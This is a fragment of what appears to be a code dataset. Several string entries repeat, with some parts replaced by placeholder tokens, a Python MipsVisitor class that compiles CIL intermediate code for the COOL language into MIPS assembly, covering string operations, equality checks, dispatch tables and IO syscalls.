self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 